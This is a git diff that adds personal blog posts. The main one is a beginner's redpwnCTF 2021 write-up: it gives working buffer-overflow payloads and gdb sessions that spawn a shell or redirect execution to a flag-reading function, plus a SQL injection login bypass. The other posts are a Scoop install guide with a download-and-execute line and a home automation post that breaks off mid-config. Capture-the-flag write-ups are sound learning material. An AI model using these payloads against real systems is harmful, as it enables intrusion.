./randomUUID.js)" \ + https://secure.mc.ax/login) +``` + +### crypto/baby + +> I want to do an RSA! + +This challenge is breaking RSA. It only works because the `n` parameter is +really small. + +Googling for 'rsa decrypt n e c' yields +[this](https://stackoverflow.com/questions/49878381/rsa-decryption-using-only-n-e-and-c) +stackoverflow result, which links to +[dcode.fr](https://www.dcode.fr/rsa-cipher). The only thing left to do is +calculate `p` and `q`, which can be done using [wolfram +alpha](https://wolframalpha.com/). + +### pwn/beginner-generic-pwn-number-0 + +> rob keeps making me write beginner pwn! i'll show him... +> +> `nc mc.ax 31199` + +This was my first interaction with `gdb`. It was.. painful. After begging for +help in the redpwnCTF discord server about another waaaay harder challenge, an +organizer named asphyxia pointed me towards [gef](https://github.com/hugsy/gef) +which single-handedly saved my sanity during the binary exploitation +challenges. + +The first thing I did was use [iaito](https://github.com/radareorg/iaito) to +look at a disassembly graph of the binary. Iaito is a graphical front-end to +the radare2 reverse engineering framework, and I didn't feel like learning two +things at the same time, so that's why I used it. While it's very +user-friendly, I didn't look into reverse engineering tools very much, and +didn't realise that iaito is still in development. Let's just say I ran into +some issues with project saving so I took lots of unnecessary repeated steps. + +After trying to make sense of assembly code after just seeing it for the first +time, I instead decided looking at the source code would be a better idea since +I actually know c. + +```c +#include +#include +#include + +const char *inspirational_messages[] = { + "\"𝘭𝘦𝘵𝘴 𝘣𝘳𝘦𝘢𝘬 𝘵𝘩𝘦 𝘵𝘳𝘢𝘥𝘪𝘵𝘪𝘰𝘯 𝘰𝘧 𝘭𝘢𝘴𝘵 𝘮𝘪𝘯𝘶𝘵𝘦 𝘤𝘩𝘢𝘭𝘭 𝘸𝘳𝘪𝘵𝘪𝘯𝘨\"", + "\"𝘱𝘭𝘦𝘢𝘴𝘦 𝘸𝘳𝘪𝘵𝘦 𝘢 𝘱𝘸𝘯 𝘴𝘰𝘮𝘦𝘵𝘪𝘮𝘦 𝘵𝘩𝘪𝘴 𝘸𝘦𝘦𝘬\"", + "\"𝘮𝘰𝘳𝘦 𝘵𝘩𝘢𝘯 1 𝘸𝘦𝘦𝘬 𝘣𝘦𝘧𝘰𝘳𝘦 𝘵𝘩𝘦 𝘤𝘰𝘮𝘱𝘦𝘵𝘪𝘵𝘪𝘰𝘯\"", +}; + +int main(void) +{ + srand(time(0)); + long inspirational_message_index = rand() % (sizeof(inspirational_messages) / sizeof(char *)); + char heartfelt_message[32]; + + setbuf(stdout, NULL); + setbuf(stdin, NULL); + setbuf(stderr, NULL); + + puts(inspirational_messages[inspirational_message_index]); + puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!"); + puts("can you write me a heartfelt message to cheer me up? :("); + + gets(heartfelt_message); + + if(inspirational_message_index == -1) { + system("/bin/sh"); + } +} +``` + +After looking at this source things became a lot clearer, because the only +input you can actually control is received from `gets(...);` + +Now comes the hard part: doing it, but in assembly! + +Some resources you should consume before attempting binary exploitation would +be [computerphile's video on buffer +overflows](https://www.youtube.com/watch?v=1S0aBV-Waeo) and +[cheat.sh/gdb](https://cheat.sh/gdb) for some basic gdb commands. The rest of +this section assumes you know the basics of both buffer overflows and gdb. + +First, let's print a disassembly of the `int main()` function: + +``` +(gdb) disas main +Dump of assembler code for function main: + 0x000000000040127c <+134>: call 0x4010a0 + 0x0000000000401281 <+139>: lea rdi,[rip+0xec8] # 0x402150 + 0x0000000000401288 <+146>: call 0x4010a0 + 0x000000000040128d <+151>: lea rdi,[rip+0xf1c] # 0x4021b0 + 0x0000000000401294 <+158>: call 0x4010a0 + 0x0000000000401299 <+163>: lea rax,[rbp-0x30] + 0x000000000040129d <+167>: mov rdi,rax + 0x00000000004012a0 <+170>: call 0x4010f0 + 0x00000000004012a5 <+175>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff + 0x00000000004012aa <+180>: jne 0x4012b8 + 0x00000000004012ac <+182>: lea rdi,[rip+0xf35] # 0x4021e8 + 0x00000000004012b3 <+189>: call 0x4010c0 + 0x00000000004012b8 <+194>: mov eax,0x0 + 0x00000000004012bd <+199>: leave + 0x00000000004012be <+200>: ret +End of assembler dump. +``` + +This isn't the full output from gdb, but only the last few lines. A few things +should immediately stand out: the 3 `` calls, and right after the +call to ``. These are the assembly equivalent of: + +```c +puts(inspirational_messages[inspirational_message_index]); +puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!"); +puts("can you write me a heartfelt message to cheer me up? :("); + +gets(heartfelt_message); +``` + +Since I didn't see any reference to a flag file being read, I assumed that the +`system("/bin/sh")` call is our main target, so let's see if we can find that +in our assembly code. There's a call to `` at ``, and +there's other weird `cmp`, `jne` and `lea` instructions before. Let's figure +out what those do! + +After some stackoverflow soul searching, I found out that the `cmp` and `jne` +are assembly instructions for compare, and jump-if-not-equal. They work like +this: + +```asm6502 +; cmp compares what's in the $rbp register to 0xffffffffffffffff +; and turns on the ZERO flag if they're equal + 0x004012a5 <+0>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff + +; jne checks if the ZERO flag is on, +; and if it is it jumps (in this case) to 0x4012b8 +┌--0x004012aa <+1>: jne 0x4012b8 +│; we can safely ignore the `lea` instruction as it doesn't impact our pwn +│ 0x004012ac <+2>: lea rdi,[rip+0xf35] # 0x4021e8 +│ +│; the almighty syscall +│ 0x004012b3 <+3>: call 0x4010c0 +│ +│; from here on the program exits without calling /bin/sh +└->0x004012b8 <+4>: mov eax,0x0 + 0x004012bd <+5>: leave + 0x004012be <+6>: ret +``` + +The program checks if there's `0xffffffffffffffff` in memory `0x8` bytes before +the `$rbp` register. The program allocates 32 bytes of memory for our heartfelt +message, but it continues reading even if our heartfelt message is longer than +32 bytes. Let's see if we can overwrite that register >:) + +Let's set a breakpoint after the `` call in gdb, and run the program +with 40 bytes of `0x61` ('a') + +``` +(gdb) break *0x00000000004012a5 +Breakpoint 1 at 0x4012a5 + +(gdb) run < <(python3 -c "print('a' * 40)") +``` + +I'm using the `run` command with `<` and `<()` to pipe the output of python +into the program's `stdin`. It's unnecessary at this stage because there's an +'a' key on my keyboard, but if we were to send raw bytes, this would make it a +lot easier. + +I'm also using [gef](https://github.com/hugsy/gef) so I get access to a command +called `context` which prints all sorts of information about registers, the +stack and a small disassembly window. I won't show it's output here, but it +was an indispensable tool that you should install nonetheless. + +Let's print the memory at `[$rbp - 0x8]`: + +``` +(gdb) x/8gx $rbp - 0x8 +0x7fffffffd758: 0x0000000000000000 0x0000000000000000 +0x7fffffffd768: 0x00007ffff7de4b25 0x00007fffffffd858 +0x7fffffffd778: 0x0000000100000064 0x00000000004011f6 +0x7fffffffd788: 0x0000000000001000 0x00000000004012c0 +``` + +Hmmm, no overwriteage yet. Let's try 56 bytes instead: + +``` +(gdb) run < <(python3 -c "print('a' * 56)") +(gdb) x/8gx $rbp - 0x8 +0x7fffffffd758: 0x6161616161616161 0x6161616161616161 +0x7fffffffd768: 0x00007ffff7de4b00 0x00007fffffffd858 +0x7fffffffd778: 0x0000000100000064 0x00000000004011f6 +0x7fffffffd788: 0x0000000000001000 0x00000000004012c0 +(gdb) x/1gx $rbp - 0x8 +0x7fffffffd758: 0x6161616161616161 +``` + +Jackpot! We've overwritten 16 bytes of the address that the `cmp` instruction +reads. Let's try setting it to `0xff` instead, so we get a shell. Python 3 is +not that great for binary exploitation, so the code for this is a little bit +ugly, but if it works, it works! + +``` +(gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)") +(gdb) x/1gx $rbp - 0x8 +0x7fffffffd758: 0xffffffffffffffff +``` + +Now let's let execution continue as normal by using the `continue` command: + +``` +(gdb) continue +Continuing. +[Detaching after vfork from child process 22950] +[Inferior 1 (process 22947) exited normally] +``` + +This might seem underwhelming, but our explit works! A child process was +spawned, and as a bonus, we didn't get any segmentation faults! The reason we +don't get an interactive shell is because we used python to pipe input into the +program which makes it non-interactive. + +At this point I was about 12 hours in of straight gdb hell, and I was very +happy to see this shell. After discovering this, I immediately tried it outside +the debugger and was dissapointed to see that my exploit didn't work. After a +small panick attack I found out this was because of my environment variables. +You can launch an environment-less shell by using the `env -i sh` command: + +``` +λ generic → λ git master* → env -i sh +sh-5.1$ python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)" | ./beginner-generic-pwn-number-0 +"𝘭𝘦𝘵𝘴 𝘣𝘳𝘦𝘢𝘬 𝘵𝘩𝘦 𝘵𝘳𝘢𝘥𝘪𝘵𝘪𝘰𝘯 𝘰𝘧 𝘭𝘢𝘴𝘵 𝘮𝘪𝘯𝘶𝘵𝘦 𝘤𝘩𝘢𝘭𝘭 𝘸𝘳𝘪𝘵𝘪𝘯𝘨" +rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self! +can you write me a heartfelt message to cheer me up? :( +sh-5.1$ # another shell :tada: +``` + +Now it was time to actually do the exploit on the remote server. + +I whipped up the most disgusting and janky python code that I won't go into +detail about, but here's what is does (in short): + +1. Create a thread to capture data from the server and forward it to `stdout` +2. Capture user commands using `input()` and decide what to do with them on the main thread + +The code for this script can be found +[here](https://github.com/lonkaars/redpwn/blob/master/challenges/generic/pwn.py), +though be warned, it's _very_ janky and you're probably better off copying +stuff from stackoverflow. Writing your own tools is more fun though, and might +also be faster than trying to wrestle with existing tools to try to get them to +do exactly what you want them to do. In this case I could've also just used [a +simple +command](https://reverseengineering.stackexchange.com/questions/13928/managing-inputs-for-payload-injection?noredirect=1&lq=1). + +It did help me though and I actually had to copy it for use in the other buffer +overflow challenge that I solved, so I'll probably refactor it someday for use +in other CTFs. + +### crypto/round-the-bases + +This crypto challenge uses a text file with some hidden information. If you +open up the file in a text editor, and adjust your window width, you'll +eventually see the repeating pattern line up. This makes it very easy to see +what part of the pattern is actually changing: + +``` +----------------------xxxx---- +[9km7D9mTfc:..Zt9mTZ_:K0o09mTN +[9km7D9mTfc:..Zt9mTZ_:K0o09mTN +[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN +[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN +[9km7D9mTfc:..Zt9mTZ_:K0o09mTN +[9km7D9mTfc:..Zt9mTZ_:K0o09mTN +[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN +[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN +[9km7D9mTfc:..Zt9mTZ_:K0o09mTN +[9km7D9mTfc:..Zt9mTZ_:K0o09mTN +[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN +[9km7D9mTfc:..Zt9mTZ_:K0o09mTN +[9km7D9mTfc:..Zt9mTZ_:K0o09mTN +[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN +[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN +``` + +I wrote a simple python script to parse this into binary data, and it worked on +the first try: + +```py +# read the file into a string +file = open("./round-the-bases") +content = file.read() +file.close() + +# split on every 30th character into a list +n = 30 +arr = [ content[i : i + n] for i in range(0, len(content), n) ] + +bin = [] +for line in arr: + sub = line[16:20] # the part that changes + if sub == 'IIcu': # IIcu -> 0x0 + bin.append('0') + else: # K0o0 -> 0x1 + bin.append('1') + +bin = ''.join(bin) # join all the list indices together into a string + +# decode the binary string into ascii characters +for i in range(0, len(bin), 8): + print(chr(int(bin[i:i+8], 2)), end='') + +# newline for good measure +print("\n", end='') +``` + +### pwn/ret2generic-flag-reader + +This was the second binary exploitation challenge I tackled, and it went much +better than the first because I (sort of) knew what I was doing by now. + +I figured the 'ret2' part of the title challenge was short for 'return to', and +my suspicion was confirmed after looking at the c source: + +```c +#include +#include +#include + +void super_generic_flag_reading_function_please_ret_to_me() +{ + char flag[0x100] = {0}; + FILE *fp = fopen("./flag.txt", "r"); + if (!fp) + { + puts("no flag!! contact a member of rob inc"); + exit(-1); + } + fgets(flag, 0xff, fp); + puts(flag); + fclose(fp); +} + +int main(void) +{ + char comments_and_concerns[32]; + + setbuf(stdout, NULL); + setbuf(stdin, NULL); + setbuf(stderr, NULL); + + puts("alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable..."); + puts("how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!"); + puts("slap on some flavortext and there's no way rob will fire me now!"); + puts("this is genius!! what do you think?"); + + gets(comments_and_concerns); +} + +``` + +With my newfound knowledge of binary exploitation, I figured I would have to +overwrite the return pointer on the stack somehow, so the program calls the +`super_generic_flag_reading_function_please_ret_to_me` function that isn't +called at all in the original. + +The only input we have control over is again a call to `gets();` + +Let's look at the disassembly in gdb: + +``` +(gdb) disas main +Dump of assembler code for function main: + 0x00000000004013f4 <+79>: call 0x4010a0 + 0x00000000004013f9 <+84>: lea rdi,[rip+0xca0] # 0x4020a0 + 0x0000000000401400 <+91>: call 0x4010a0 + 0x0000000000401405 <+96>: lea rdi,[rip+0xd0c] # 0x402118 + 0x000000000040140c <+103>: call 0x4010a0 + 0x0000000000401411 <+108>: lea rdi,[rip+0xd48] # 0x402160 + 0x0000000000401418 <+115>: call 0x4010a0 + 0x000000000040141d <+120>: lea rax,[rbp-0x20] + 0x0000000000401421 <+124>: mov rdi,rax + 0x0000000000401424 <+127>: call 0x4010e0 + 0x0000000000401429 <+132>: mov eax,0x0 + 0x000000000040142e <+137>: leave + 0x000000000040142f <+138>: ret +End of assembler dump. +``` + +We see again multiple calls to `` and right after a call to +``. There is no `cmp` and `jne` to be found in this challenge though. + +The goal is to overwrite the _return address_. This is a memory address also +stored in memory, and the program will move execution to that memory address +once it sees a `ret` instruction. In this 'vanilla' state, the return address +always goes to the assembly equivalent of an `exit()` function. Let's see if we +can overwrite it by giving too much input: + +``` +(gdb) break *0x000000000040142f +Breakpoint 1 at 0x40142f +(gdb) run < <(python3 -c "print('a' * 56)") +-- Breakpoint 1 hit -- +(gdb) info registers +rax 0x0 0x0 +rbx 0x401430 0x401430 +rsi 0x7ffff7f7d883 0x7ffff7f7d883 +rdi 0x7ffff7f804e0 0x7ffff7f804e0 +rbp 0x6161616161616161 0x6161616161616161 +rsp 0x7fffffffd898 0x7fffffffd898 +rip 0x40142f 0x40142f +``` + +As you can see, the $rbp register is completely overwritten with `0x61`'s. +Let's check the $rsp register to see where the `main()` function tries to go +after `ret`: + +``` +(gdb) run +Starting program: ret2generic-flag-reader +alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable... +how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function! +slap on some flavortext and there's no way rob will fire me now! +this is genius!! what do you think? +a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3 +-- Breakpoint 1 hit -- +(gdb) x/1gx $rsp +0x7fffffffd898: 0x3363326331633063 +``` + +Let's use CyberChef to see what `0x3363326331633063` is in ascii! + +![](/img/redpwn2021/cyberchef1.png) + +Hmm, it's backwards. Let's reverse it! + +![](/img/redpwn2021/cyberchef2.png) + +Let's find the address of the super generic flag reading function with gdb. + +``` +(gdb) print super_generic_flag_reading_function_please_ret_to_me +$2 = {} 0x4011f6 +``` + +Now we're ready to craft a string that exploits the program and runs the secret +function! + +``` +a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3 <- original + c0c1c2c3 <- ends up in $rsp +aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa <- padding ( 0x28 * 'a' ) + + c 0 c 1 c 2 c 3 <- ends up in $rsp + 3 c 2 c 1 c 0 c <- reverse +0x3363326331633063 <- reverse (hex) +0x00000000004011f6 <- pointer we want in $rsp + f611400000000000 <- reverse + \xf6\x11\x40\x00\x00\x00\x00\x00 <- python bytestring + +exploit string: +b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00' +``` + +Now let's try it in an environment-less shell: + +``` +python3 -c "import sys; sys.stdout.buffer.write(b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00')" | ./ret2generic-flag-reader +alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable... +how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function! +slap on some flavortext and there's no way rob will fire me now! +this is genius!! what do you think? +flag{this_is_a_dummy_flag_go_solve_it_yourself} + +Segmentation fault (core dumped) +sh-5.1$ +``` + +### rev/bread-making + +For this challenge, I first tried using iaito again to do some program flow +analysis. After giving up on that, I decided to instead brute-force the correct +steps by hand. This was a very long and boring process. + +First I used `strings` again to extract all the dialogue and user input strings +from the binary. Then I filtered them to not include obvious dialogue, but only +the possible user input strings. And this is the correct path that gives the +flag: + +``` +add flour +add salt +add yeast +add water +hide the bowl inside a box +wait 3 hours +work in the basement +preheat the toaster oven +set a timer on your phone +watch the bread bake +pull the tray out with a towel +open the window +unplug the oven +unplug the fire alarm +wash the sink +clean the counters +flush the bread down the toilet +get ready to sleep +close the window +replace the fire alarm +brush teeth and go to bed +``` + +In hindsight I could've probably made a simple python script to brute force all +remaining possibilities until it got longer output from the program, but +laziness took over and I decided that spending 45 minutes doing very dull work +was more worth it instead. + +## Willem's part in the CTF + +Hi, Willem here. + +In this part I will talk about my experience during the CTF and The +collaboration between me and Loek. + +### web/orm-bad + +This was also my first CTF, just like Loek, because of this was quite uncertain +about my skill level. For example, I have no experience using Linux systems, +but from what I learned before the CTF it is quite essential. My fear of not +being able to do any of the challenges disappeared quickly after we had +completed the beginner challenges. With a simple sql injection I got my first +real flag: + +``` +username: admin';-- +password: +flag{this_is_a_dummy_flag_go_solve_it_yourself} +``` + +We had planned to use github's projects to track progress on challenges, but +when you're actually doing a challenge it's the last thing you think about. +So, we didn't really know who was doing which challenge, but because we're a +team of two this wasn't a big problem. + +The most challenge were a bit to hard for me. Some I would get pretty far, but +needed Loek's help to solve it. Others I didn't even attempt to begin on. + +### misc/the-substitution-game + +One challenge I spend a lot of time on was __The substitution game__. In the +substitution game you had to substitute certain parts of the input string to +get the desired output string. I got to level for of 6. Level 1 and 2 to were +really simple, but at level 3 you started to need to really understand the +game. + +``` +level 3: +initial: aaaaaaaaaaaaaa (the amount of a's varied) +target: a +``` + +The solution is really simple, but it's pretty hard to get to it. You want to +remove 'a's so I started with `a => `, this turn all 'a's to None and left you +with an empty string. The problem is you can't substitute anything in an empty +string. The solution was `aa => a`, this removed an 'a' every time the initial +string got checked. To get this solution you had to realize, that the program +would always substitute the first instance it would come across, and the +program was set to do way more than needed substitutions. This would come handy +in the next level. + +``` +level 4: +initial: ggggggggggg (the amount of g's varied) +target: ginkoid +``` + +After completing level 3 this level looks very easy, just substitute the g's +like before `gg => g` and turn the last g into ginkoid `g => ginkoid` , but +this didn't work because of the way the program worked, after getting to a +valid solution I didn't stop and the single g in ginkoid would also change to +ginkoid. You would get infinite ginkoid. The solution was: + +``` +gg => ginkoid; ginkoidginkoid => ginkoid; ginkoidg => ginkoid +``` + +I began with noticing you couldn't just change the g, because that would also +change the g in ginkoid. so double gg becomes ginkoid. We have to use the same +trick as in level 3 to gain only one ginkoid `ginkoidginkoid => ginkoid` +because of the way we changed the single g's to ginkoid it would only work with +an even amount of g's. In the case there was an uneven amount of g's we would +be left with ginkoidg, so we remove it `ginkoidg => ginkoid`. + +I found this challenge really enjoyable and during this challenge I noticed +that I most enjoy the puzzle aspect of computer science, puzzling for hours to +fix a bug and then finally finding a solution. + +I didn't complete many challenges and wasn't really able to help Loek, but I +really enjoyed the CTF. It's a really fun way to test your skills and +knowledge. In the end I'm really happy with the score we (mostly Loek) got and +I think I’ll take part in other CTFs in the future. + +## Epilogue + +Of the 47 total challenges, me and Willem only solved 15. My end goal for this +CTF wasn't winning to begin with, so the outcome didn't matter for me. After +the second day I set the goal of reaching the 3rd page of the leaderboards as +my goal, and we reached 277'th place in the end which made my mom very proud! + +![](/img/redpwn2021/leaderboard.png) + +I enjoyed the CTF a lot! There were some very frustrating challenges, and I +still don't get how people solved web/wtjs, but that's fine. I did learn how to +use GDB and a lot of other things during the CTF which were all very rewarding. +I will definitely be participating in the 2022 redpwnCTF, and maybe even some +others if they're beginner friendly :) + +During the Radboud CTF and this CTF I've accumulated a lot of ideas to maybe +host one myself, though I have no clue where to start with that. Maybe keep an +eye out for that ;) + diff --git a/_posts/2021-07-22-scoop.md b/_posts/2021-07-22-scoop.md new file mode 100644 index 0000000..c0ef34d --- /dev/null +++ b/_posts/2021-07-22-scoop.md @@ -0,0 +1,120 @@ +--- +title: Scoop guide +subtitle: Handbook and quick explanations +author: Loek +date: July 22 2021 +tags: + - windows + - normie + - software +cover: /img/scoop.png +--- + +Here's a quick reference for returning customers: + +```bash +# installing stuff +scoop install + +# removing stuff +scoop uninstall + +# updating all the stuff +scoop update * + +# update single stuff +scoop update + +# add a bucket / repository +scoop bucket add + +# searching for stuff +scoop search +# keep in mind that scoop's search is very slow +``` + +For more things look in the [wiki](https://github.com/lukesampson/scoop/wiki) +or in the wiki's [faq](https://github.com/lukesampson/scoop/wiki/FAQ). + +Now here's a list of things that people who don't use `cmd` get confused about: + +- Highlighting text in cmd selects it. If you've selected text, right click + copies it. If you don't have text selected, right click pastes it. +- Ctrl-c and ctrl-v won't work as you expect them to. The same goes for most + keyboard shortcuts commonly used in graphical ('normal') programs. Ctrl-c is + used to stop programs in cmd, and ctrl-v doesn't do anything. The keyboard + shortcut for pasting in cmd is shift+insert. +- Clicking inside the cmd window to place your text cursor doesn't work, + because clicking is only used for selection. You'll have to use your arrow + keys to move the cursor. You can also use ctrl-a to move it to the beginning + of a line, or ctrl-e to move it to the end of a line. +- It's normal for programs in cmd to not give any output and just silently + quit. This is normal and if a program doesn't output anything you can assume + it did the thing you wanted it to do. (though scoop is very verbose and will + print progress info most of the time) +- You can type new commands for the computer to execute once you see the prompt + again. Most of the time it looks something like this: + + ``` + C:\Windows\System32> + ``` + +## Installation (on a fresh system) + +```powershell +Set-ExecutionPolicy RemoteSigned -scope CurrentUser +iwr -useb get.scoop.sh | iex +``` + +## Some more things explained + +### Why scoop at all + +Scoop is a package manager. These are the primary way you install software on +Linux. The reason package managers are awesome, is because it's like an app +store in the sense that it's one central place to install all your software, +but without the downsides of an actual app store. + +If you develop your own software, you can write a scoop install script for it, +and create a pull request on GitHub. This way basically anyone can add software +into scoop, but it's still moderated better than for example wikipedia. + +Scoop also has more open source software, which is better (most of the time). +This means you're more likely to get 'better software' like 7-zip instead of +(bad) (paid) software like winrar or winzip. + +Scoop also uses powershell scripts to install software which means you won't +have to click through installers, or watch out for sneaky buttons that also +install some weird toolbar in your browser. + +### Buckets + +Buckets are a collection of similar programs. The way these are managed is +through something called a repository. This is just a central place for +multiple people to view and collaborate on scoop at once. + +Buckets you'll probably want to add are `extras`, `nonportable`, `games`, and +`java`. + +By adding a bucket you're not actually installing any software, but scoop will +check for updates on that bucket. + +If you want to for example install java using scoop, you'll first have to add +the `java` bucket by running `scoop bucket add java` in order for scoop to be +able to find the `openjdk` package. Then you can run `scoop install openjdk`, +and then you'll have java installed. + +### Brave (browser) + +Because the default brave browser in scoop isn't updated, I use the [everonline +repo](https://github.com/everonline/brave). Here's how to do that: + +```bash +scoop bucket add everonline https://github.com/everonline/brave.git +scoop install everonline/brave +``` + +## Awesome software + +[Here's](/post/software#pc-software) a list of the software I use pretty much every day, +and some of it is also available for windows using scoop! diff --git a/_posts/2021-08-17-homeauto.md b/_posts/2021-08-17-homeauto.md new file mode 100644 index 0000000..5a89988 --- /dev/null +++ b/_posts/2021-08-17-homeauto.md @@ -0,0 +1,260 @@ +--- +title: My home automation adventure +subtitle: How to make your house a shitty utopia +author: Loek +date: August 17 2021 +tags: + - home + - automation + - raspberry + - pi + - esp8266 + - cc2500 + - microcontrollers + - software + - hardware + - hacking +cover: /img/homeauto.png +--- + +Home automation is cool, but it can also be scary. I want to try to convert my +existing bedroom lights into 'smart' lights that I can control using a home +automation system. + +I've tried two home automation systems so far: homebridge and home assistant. +Homebridge isn't really an automation system. It's meant to add unsupported +devices to *homekit*, but doesn't work with anything other than apple devices. +I've also tried (and am currently using) home assistant. It's a complete +replacement for the homekit ecosystem, and it can do basically anything, as +long as you're patient enough... + +The devices I'm going to try to automate are: + +- A random bluetooth RGB/white lamp I bought a couple years back +- An RGB strip under my bed my mom got me for christmas +- A gen 1 Philips LivingColors lamp from 2008 +- My Toshiba RAS-M10GKV-E2 air conditioning unit + +## Bluetooth RGB lamp + +This lamp is apparently another Chinese product that gets rebranded and sold +under different names. I bought mine as the "[Shada led's +light](http://leds-lightpro.com/node/4368)" (no the apostrophe isn't a typo). + +When scanning for bluetooth devices using `bluetoothctl` on Linux, it shows up +as an LE device called "Beken LED". + +I don't remember what search term I used when searching for it's bluetooth +protocol, but I landed on [this page](https://wiki.fhem.de/wiki/BEKEN_iLedBlub) +from a german website about home automation, where it's called the "BEKEN +iLedBulb". It documents which Bluetooth LE characteristics you need to write to +for the lamp to change color. + +The lamp has both [iOS](https://apps.apple.com/us/app/leds-light/id1058642950) +and +[android](https://play.google.com/store/apps/details?id=com.shada.ledslight&hl=en_US&gl=US) +apps available, though only the iOS app seemed to work. + +### Writing a homebridge plugin + +When I started out with this home automation business, I used homebridge +because I didn't know about home assistant yet. Developing plugins for +homebridge is actually pretty easy (after figuring out [how to get the plugin +to load](https://github.com/homebridge/homebridge/issues/2958)). The +documentation is pretty good, and it has typescript integration for maximum +/comfy/-ness. + +Because HomeKit doesn't support RGBW or RGBWW lights (lights that have both rgb +and dedicated white diodes), I chose to display them as seperate rgb and white +lamps inside the home app. + +[The plugin](https://www.npmjs.com/package/homebridge-beken) is pretty janky, +and requires some manual setup, but it worked very consistently for the single +week I used it for. + +### Converting the homebridge plugin to home assistant + +Now that I could control a single bulb using the home app and siri, I needed +more. The homebridge website allows for turning devices on/off, but doesn't +allow color changes. I also liked the idea of controlling the lights using my +phone, which runs android. + +Home assistant was the solution, so I went ahead and installed [home assistant +core](https://www.home-assistant.io/installation/linux#install-home-assistant-core) +on the Raspberry Pi 3B+ I'm using as a dedicated home automation hub. + +Upon opening it for the first time, I noticed it was much slower than +homebridge, but that's because it was installing a bunch of other stuff in the +background. After waiting for the background tasks to complete, I was greeted +with a very nice web interface. There were also already devices that I could +integrate immediately, like the downstairs chromecasts, and my Jellyfin server. + +Now I had to figure out how to write a plugin for home assistant. There's some +concepts in the home assistant ecosystem that I didn't quite understand, which +made searching where to start harder. + +**Integrations** are like plugins, they allow you to *integrate* an unsupported +device into home assistant. Integrations create **devices** which create +**entities** (device properties). Certain entity types can only be read (like +`sensor`), and others can also be updated / written to (lights). + +The documentation for creating entity integrations is pretty poopy, and I +mostly used other plugins on GitHub as reference material. The home assistant +plugin code is available on +[GitHub](https://github.com/lonkaars/homeassistant-beken) and [my personal git +server](https://git.pipeframe.xyz/lonkaars/homeassistant-beken/about). + +## RGB gamer bed + +I was originally planning to control this strip using IR remote emulation, but +I remembered a friend of mine still had an esp8266 laying around. So I went the +extra mile and wanted to try to create a new driver board for the strip +instead. + +### Opening the original driver + +![](/img/homeauto/controller_original.jpg) + +![](/img/homeauto/opening_controller.jpg) + +![](/img/homeauto/open_controller.jpg) + +![](/img/homeauto/controller_board.jpg) + +### Making a custom driver board + +**I AM NOT AN ELECTRICIAN**. I looked on the internet, and I think this is just +a simple board with some mosfets and flash memory for storing the 6 custom +colors. The mosfets are the 3 big squares labeled Q1, Q2 and Q3. The way the +strip works is it gets +12v though the black wire, and then lights up when you +ground any combination of the red, green, and blue wires. The strip dims using +pulse width modulation. The mosfets act like an electronic switch, and control +the grounding of the colored wires. + +I'm going to salvage the mosfets, and barrel plug from the original driver +board, and resolder them on a perfboard with the esp8266 so I can control them +over WiFi. The schematic I'm using comes from +[instructables](https://www.instructables.com/WiFi-Controlled-RGB-LED-Strip-With-ESP8266/). + +![](/img/homeauto/schematic.png) + +The whole solder job was a complete massacre, and I really don't want to show +it. It does work though, but I had to buy a new soldering station because my +old soldering iron wasn't really fit for soldering small electronics. + +### Beautiful dremel work + +I wanted to use the original enclosure instead of a tupperware container this +time, so I used my dad's dremel to create holes for the esp to fit. + +![](/img/homeauto/shittydremel.png) + +![](/img/homeauto/espfit.png) + +As you can see I did a great job :^) + +The esp is still at the bottom of the case, but getting everything to fit +inside was so hard that I completely forgot to take pictures. So here's a +picture of the finished controller mounted under my bed using two small nails: + +![Job well done](/img/homeauto/finishedcontroller.png) + +### ESP firmware + +The firmare I wrote for the esp is available on +[GitHub](https://github.com/lonkaars/esp8266-rgbstrip) and [my git +server](https://git.pipeframe.xyz/lonkaars/esp8266-rgbstrip/about), along with +the home assistant plugin +([GitHub](https://github.com/lonkaars/hass-esp8266-rgbstrip), +[cgit](https://git.pipeframe.xyz/lonkaars/hass-esp8266-rgbstrip/about)). I used +the [espressif ESP8266_RTOS_SDK](https://github.com/espressif/ESP8266_RTOS_SDK) +toolchain with gnu make as my build system. + +It just connects to your specified wifi network under your specified hostname, +and listens on port 80 for regular http requests. Here's how to use it without +the home assistant plugin: + +```bash +# get color +curl http://hostname/ + +# set color rrggbb color (hex) +curl -X POST -d "0000ff" http://hostname/ +``` + +Some cool features this firmare has are: + +- Linearly interpolated color transitions with customizable transition and step + duration +- Brightness curve correction (makes difference in brightness more pronounced + at higher brightness levels by using a parabolic curve) + +I'm not sure if the more popular [ESPHome](https://esphome.io/) firmare has +these features, but I wanted to have a go at writing my own firmare anyways. + +### Safety + +Because the esp8266 is a pretty basic microcontroller, it doesn't use https or +ssl for encryption. To protect from people in my house wanting to control my +lights, I used the raspberry pi's onboard wifi module to create a hidden +private isolated wifi network for this, and all future IoT devices in my +bedroom. I'm using `hostapd` to create the wifi network, and `dnsmasq` for +assigning ip addresses and hostname resolution. Here's the config file for +`dnsmasq`: + +``` +no-resolv +interface=wlan0 +dhcp-range=10.0.0.1,10.0.0.16,24h +server=8.8.8.8 +``` + +And here's `hostapd`'s config file: + +```bash +# common settings +interface=wlan0 +driver=nl80211 